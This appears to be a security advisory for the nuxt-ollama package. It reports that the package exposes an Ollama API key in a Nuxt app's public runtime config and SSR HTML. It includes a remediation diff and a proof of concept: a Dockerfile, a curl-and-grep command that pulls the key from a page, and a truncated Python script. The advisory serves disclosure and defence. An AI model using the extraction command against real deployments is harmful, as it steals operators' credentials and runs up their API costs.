Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients ## Public Runtime Config Exposes Ollama API Key to Browser Clients ### Summary `nuxt-ollama@1.2.26` unconditionally merges all module options — including `api_key` — into Nuxt's **public** runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a ` ``` The browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls: ```ts // src/runtime/composables/useOllama.ts:6-10 const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions if (options.api_key) { headers.Authorization = `Bearer ${options.api_key}` } return new Ollama({ host, proxy: options.proxy, headers }) ``` The complete data flow from source to sink: 1. `README.md:71-80` — official documentation instructs users to set `ollama.api_key` for cloud Ollama models 2. `src/module.ts:35-36` — **source**: `api_key` is merged into `runtimeConfig.public.ollama` 3. Nuxt SSR runtime — `runtimeConfig.public` is serialized into HTML `__NUXT__` payload 4. `src/runtime/composables/useOllama.ts:6` — browser composable reads `useRuntimeConfig().public.ollama` 5. `src/runtime/composables/useOllama.ts:8-10` — **sink**: `options.api_key` becomes `headers.Authorization` in client-side HTTP request The `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization. **Recommended remediation:** Move `api_key` to the private runtime config and remove it from the browser composable: ```diff - const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions - runtimeConfig.public.ollama = defu(currentConfig, _options) + const { api_key, ...publicOptions } = _options + const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit + runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions) + const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick + runtimeConfig.ollama = defu(currentPrivateConfig, { api_key }) ``` The `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`. ### PoC **Prerequisites:** Docker, Python 3 **Step 1 — Build the vulnerable Nuxt app container** ```bash docker build \ -f /path/to/vuln-001/Dockerfile \ -t nuxt-ollama-vuln-001 \ /path/to/npmAI_735_thoda-dev__nuxt-ollama ``` The Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` — the exact cloud configuration pattern from `README.md:71-80`: ```ts export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' // sentinel key } }) ``` **Step 2 — Start the container** ```bash docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001 ``` **Step 3 — Retrieve the API key with a single unauthenticated HTTP request** ```bash curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"' # Expected: api_key":"LEAKED_TEST_KEY_123" ``` **Automated PoC script** ```bash python3 /path/to/vuln-001/poc.py ``` **Expected output (confirmed in dynamic reproduction):** ``` window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" } } } ``` The sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak. ### Impact This is a **credentials exposure** vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload. **Who is impacted:** - **Operators/developers** who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor. - **End-users** of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key. **Potential consequences of key theft:** - Unauthorized use of the Ollama cloud API at the operator's cost - Rate-limit exhaustion or quota abuse - Data exfiltration if the compromised key has read access to stored models or conversations - Reputational damage and service disruption for the affected application The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # syntax=docker/dockerfile:1 # VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key # CWE-522: Insufficiently Protected Credentials # CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) # # Vulnerability mechanism: # src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options) # This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes # into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload). # Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext. FROM node:20-alpine # Install pnpm matching the repo's packageManager field (pnpm@10.33.4) RUN npm install -g pnpm@10.33.4 WORKDIR /app # Copy the nuxt-ollama source repository COPY repo/ ./ # Install all project dependencies. # .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false RUN pnpm install --frozen-lockfile # Override playground/nuxt.config.ts: inject a sentinel api_key to simulate # a real-world cloud Ollama deployment as documented in README.md:71-80. # This is the exact vulnerable configuration pattern described in the docs. RUN cat > playground/nuxt.config.ts << 'EOF' export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' } }) EOF # Replace app.vue with a minimal template that does NOT make Ollama API calls. # The api_key leak occurs in the Nuxt SSR payload, not in the visible template. # The original playground app.vue calls useFetch('/api/ollama') which requires # a live Ollama server; replacing it keeps this PoC self-contained. RUN cat > playground/app.vue << 'EOF' EOF # Build the playground in production SSR mode. # During the module setup() call, src/module.ts:36 merges all _options (including # api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes # runtimeConfig.public into the HTML response for client-side hydration. RUN pnpm exec nuxi build playground EXPOSE 3000 ENV HOST=0.0.0.0 ENV PORT=3000 ENV NITRO_HOST=0.0.0.0 ENV NITRO_PORT=3000 CMD ["node", "/app/playground/.output/server/index.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Proof of Concept Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8) Title : Public Runtime Config Exposes Ollama API Key to Browser Clients CWE : CWE-522 - Insufficiently Protected Credentials CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Attack summary -------------- When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80 for cloud Ollama), the module's setup() function in src/module.ts:36 merges the entire _options object—api_key included—into runtimeConfig.public.ollama. Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and embeds it in the HTML response inside a

CVE-2026-59158 Blast Radius

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